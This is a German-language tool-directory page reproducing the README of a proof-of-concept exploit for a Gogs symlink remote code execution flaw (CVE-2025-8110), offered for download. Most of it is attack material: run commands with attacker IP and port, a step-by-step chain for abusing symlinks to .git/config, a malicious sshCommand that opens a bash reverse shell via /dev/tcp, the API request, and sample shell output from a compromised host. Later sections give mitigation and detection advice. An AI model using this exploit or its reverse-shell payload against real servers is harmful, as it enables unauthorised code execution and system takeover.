Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-8110 — PoC-Exploit für CVE-2025-8110 | Kitploit
Tools/GitHubGitHub/joaquinrrr/cve-2025-8110
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRemote-Access-Tool
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

PoC-Exploit für CVE-2025-8110

Repository anzeigen
5vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-8110

Gogs Repository Symlink Remote Code Execution

Erstellt von oguiii


Inhaltsverzeichnis

  • Übersicht
  • Funktionen
  • Anforderungen
  • Installation
  • Verwendung
  • Exploit-Workflow
  • Technische Analyse
  • Proof-of-Concept-Demo
  • Betroffene Versionen
  • Abhilfe
  • Erkennung
  • Haftungsausschluss
  • Lizenz

Übersicht

CVE-2025-8110 ist eine kritische Schwachstelle in Gogs, die authentifizierten Angreifern die Möglichkeit gibt, durch Manipulation von Repository-Symlinks eine Code-Ausführung aus der Ferne zu erreichen. Dieser Proof-of-Concept zeigt die vollständige Angriffskette, von der Authentifizierung bis zum Erhalt einer Reverse Shell.

Die Schwachstelle besteht, weil Gogs beim Umgang mit Repository-Dateien über seine API Symlinks folgt, sodass ein Angreifer sensible Dateien wie .git/config lesen und ändern kann. Durch das Einfügen einer schädlichen sshCommand-Direktive können beliebige Systembefehle mit den Rechten des Gogs-Dienstkontos ausgeführt werden.

CVSS-Score: 7.2 (Hoch)
Angriffsvektor: Netzwerk
Authentifizierung erforderlich: Ja
Benutzerinteraktion: Keine
Auswirkung: Vollständige Systemkompromittierung


Funktionen

  • Automatisierte CSRF-Token-Extraktion mit mehreren Fallback-Methoden
  • Sitzungsverwaltung und Authentifizierungshandhabung
  • Automatische Repository-Erstellung mit konfigurierbaren Parametern
  • Symlink-basierter Exploit-Workflow
  • Erstellung von Reverse-Shell-Payloads
  • Proxy-Unterstützung für Debugging und Analyse
  • Detaillierte Protokollierung und Fehlerbehandlung
  • Farbige Konsolenausgabe für bessere Lesbarkeit
  • Ausführlicher Modus zur Fehlerbehebung

Anforderungen

Systemanforderungen

  • Python 3.6 oder höher
  • Git installiert und im PATH verfügbar
  • Netzwerkzugriff auf die Ziel-Gogs-Instanz

Python-Abhängigkeiten

root@kitploit:~
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

Installation

Klonen und Einrichten

root@kitploit:~
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Projektstruktur

root@kitploit:~
CVE-2025-8110/
├── CVE-2025-8110.py    # Haupt-Exploit-Skript
├── requirements.txt    # Python-Abhängigkeiten
└── README.md          # Dokumentation

Verwendung

Befehlszeilenoptionen

Grundlegende Verwendung

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

Mit Proxy für Debugging

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

Ausführlicher Modus zur Fehlerbehebung

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

Exploit-Workflow

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 Exploitation Chain                        │
└─────────────────────────────────────────────────────────────────────────────┘

Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session

Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response

Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL

Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload

Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution

Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target

Technische Analyse

Grundursache der Schwachstelle

Gogs unterlässt es, den Symlink-Traversal bei der Handhabung von Repository-Dateien über seine API ordnungsgemäß zu bereinigen. Wenn über den API-Endpunkt auf eine Datei zugegriffen wird, folgt Gogs ohne Validierung Symlinks, was den Zugriff auf sensible Dateien außerhalb des Repository-Verzeichnisses ermöglicht.

Details zum Angriffsvektor

  1. Symlink-Erstellung

    root@kitploit:~
    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. Bösartige Konfiguration

    root@kitploit:~
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. API-Ausnutzung

    root@kitploit:~
    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

Code-Analyse

CSRF-Token-Extraktion

root@kitploit:~
def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

Bösartige Konfigurationseinschleusung

root@kitploit:~
git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

Proof-of-Concept-Demo

Angriffsaufbau

root@kitploit:~
# Angreifer-Maschine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Exploit ausführen
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

Erfolgreiche Exploit-Ausgabe

root@kitploit:~
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin

[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully

[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b

[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully

[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!

[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)

Reverse-Shell-Verbindung

root@kitploit:~
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Betroffene Versionen

Verwundbare Versionen

  • Gogs-Versionen vor 0.12.6
  • Alle Versionen mit aktivierter Symlink-Unterstützung (Standardkonfiguration)

Versionsprüfung

So überprüfen Sie Ihre Gogs-Version:

root@kitploit:~
# Rufen Sie die Gogs-Weboberfläche auf und prüfen Sie die Fußzeile
# Oder verwenden Sie die API
curl https://gogs.example.com/api/v1/version

Abhilfe

Sofortmaßnahmen

  1. Gogs aktualisieren

    root@kitploit:~
    # Sichern der vorhandenen Installation
    cp -r /home/gogs/gogs /home/gogs/gogs.backup
    
    # Neueste Version herunterladen und installieren
    wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
    unzip gogs_latest_linux_amd64.zip
    cd gogs
    ./gogs web
    
  2. Symlink-Unterstützung deaktivieren

    root@kitploit:~
    # In custom/conf/app.ini
    [repository]
    DISABLE_SYMLINKS = true
    
  3. Eingabevalidierung implementieren

    • Dateipfade vor der Verarbeitung bereinigen
    • Symlink-Traversal verhindern
    • Dateitypen und -inhalte validieren

Langfristige Sicherheitsmaßnahmen

  • Prinzip der geringsten Rechte für das Gogs-Dienstkonto anwenden
  • Regelmäßige Sicherheitsaudits und Penetrationstests
  • Netzwerksegmentierung, um die Exposition von Gogs zu begrenzen
  • Regeln für eine Web Application Firewall (WAF) implementieren
  • Umfassende Protokollierung und Überwachung aktivieren
  • Regelmäßige Sicherungskopien der Gogs-Konfiguration und -Repositories

Firewall-Regeln

root@kitploit:~
# Zugriff auf die Gogs-API einschränken
iptables -A INPUT -p tcp --dport 3000 -s vertrautes_subnetz -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

Erkennung

Indikatoren für verdächtige Aktivitäten

  1. Repository-Aktivität

    • Erstellung von Repositories mit symbolischen Links
    • Mehrere Repositories in kurzer Zeit erstellt
    • Ungewöhnliche Repository-Namen (zufällige Hex-Strings)
  2. API-Aktivität

    • PUT-Anfragen an /api/v1/repos/*/contents/*
    • Änderung von .git/config über die API
    • Hohe Frequenz von API-Anfragen aus einer einzigen Sitzung
  3. Systemindikatoren

    • Unerwartete Prozesse, die vom Gogs-Benutzer gestartet wurden
    • Ausgehende Netzwerkverbindungen vom Gogs-Server
    • Ungewöhnliche Dateisystemzugriffsmuster

Protokollanalyse-Befehle

root@kitploit:~
# Gogs-Zugriffsprotokolle auf API-Ausnutzung prüfen
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# Überwachen auf Symlink-Erstellung in Repositories
find /home/gogs/gogs-repositories -type l

# Auf verdächtige Git-Konfigurationsänderungen prüfen
grep -r "sshCommand" /home/gogs/gogs-repositories/

# Auf ausgehende Verbindungen überwachen
ss -tunp | grep gogs

SIEM-Integration

root@kitploit:~
{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "sshCommand in git config",
    "random hex repository names"
  ],
  "recommended_actions": [
    "Review repository creation logs",
    "Check for symlink files",
    "Verify API access patterns"
  ]
}

Verantwortungsvolle Offenlegung

Diese Schwachstelle wurde entdeckt und dem Gogs-Entwicklungsteam verantwortungsvoll gemeldet. Der Anbieter hat einen Patch in Version 0.12.6 veröffentlicht.

Zeitleiste

  • Entdeckung: Mai 2025
  • Verantwortungsvolle Offenlegung: Juni 2025
  • Patch-Veröffentlichung: Juni 2025
  • Öffentliche Offenlegung: Juni 2025

Zusätzliche Ressourcen

  • Gogs – Offizielle Sicherheitshinweise
  • CWE-61: UNIX Symbolic Link Following
  • OWASP Testing Guide – Path Traversal
  • Git Hooks Dokumentation
  • Gogs API-Dokumentation

Haftungsausschluss

Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt. Benutzer müssen:

  1. Vor dem Testen eines Systems eine ausdrückliche schriftliche Genehmigung einholen
  2. Alle geltenden Gesetze und Vorschriften einhalten
  3. Dieses Tool verantwortungsvoll und ethisch verwenden
  4. Dieses Tool nicht für böswillige oder unbefugte Zwecke verwenden

Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.


Lizenz

MIT-Lizenz

Copyright (c) 2025 oguiii

Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen Dokumentationsdateien (die "Software") erhält, kostenlos die Erlaubnis erteilt, die Software ohne Einschränkung zu nutzen, einschließlich und ohne Einschränkung der Rechte zur Verwendung, Vervielfältigung, Änderung, Zusammenführung, Veröffentlichung, Verteilung, Unterlizenzierung und/oder zum Verkauf von Kopien der Software, und Personen, denen die Software zur Verfügung gestellt wird, dies unter folgenden Bedingungen zu gestatten:

Der obige Urheberrechtshinweis und dieser Genehmigungshinweis müssen in allen Kopien oder wesentlichen Teilen der Software enthalten sein.

DIE SOFTWARE WIRD "WIE BESEHEN" ZUR VERFÜGUNG GESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN. IN KEINEM FALL SIND DIE AUTOREN ODER URHEBERRECHTSINHABER HAFTBAR FÜR JEGLICHE ANSPRÜCHE, SCHÄDEN ODER ANDERE VERPFLICHTUNGEN, OB AUS VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE AUS ODER IN VERBINDUNG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN.


Kontakt

  • GitHub: github.com/oguiii
  • Projekt: CVE-2025-8110 Exploit

Danksagungen

  • Ursprüngliche Entdeckung: zAbuQasem
  • CVE-Veröffentlichung: MITRE Corporation
  • Community: Sicherheitsforscher und Penetrationstester, die die Schwachstelle validiert haben

Änderungsprotokoll

Version 1.0.0 (2025-06-25)

  • Erstveröffentlichung
  • Vollständige Implementierung der Angriffskette
  • CSRF-Token-Extraktion mit Fallback-Methoden
  • Automatische Repository-Erstellung und Symlink-Upload
  • Erstellung von Reverse-Shell-Payloads
  • Proxy-Unterstützung für Debugging
  • Umfassende Dokumentation

Mit Hingabe erstellt von oguiii

Tool herunterladen
OptionBeschreibungErforderlich
-u, --urlGogs-Basis-URL (z. B. https://gogs.example.com)Ja
-lh, --hostAngreifer-IP-Adresse für Reverse ShellJa
-lp, --portAngreifer-Port für Reverse ShellJa
-U, --usernameGogs-BenutzernameJa
-P, --passwordGogs-PasswortJa
-x, --proxyProxy aktivieren (localhost:8080)Nein
-v, --verboseAusführliche Ausgabe aktivierenNein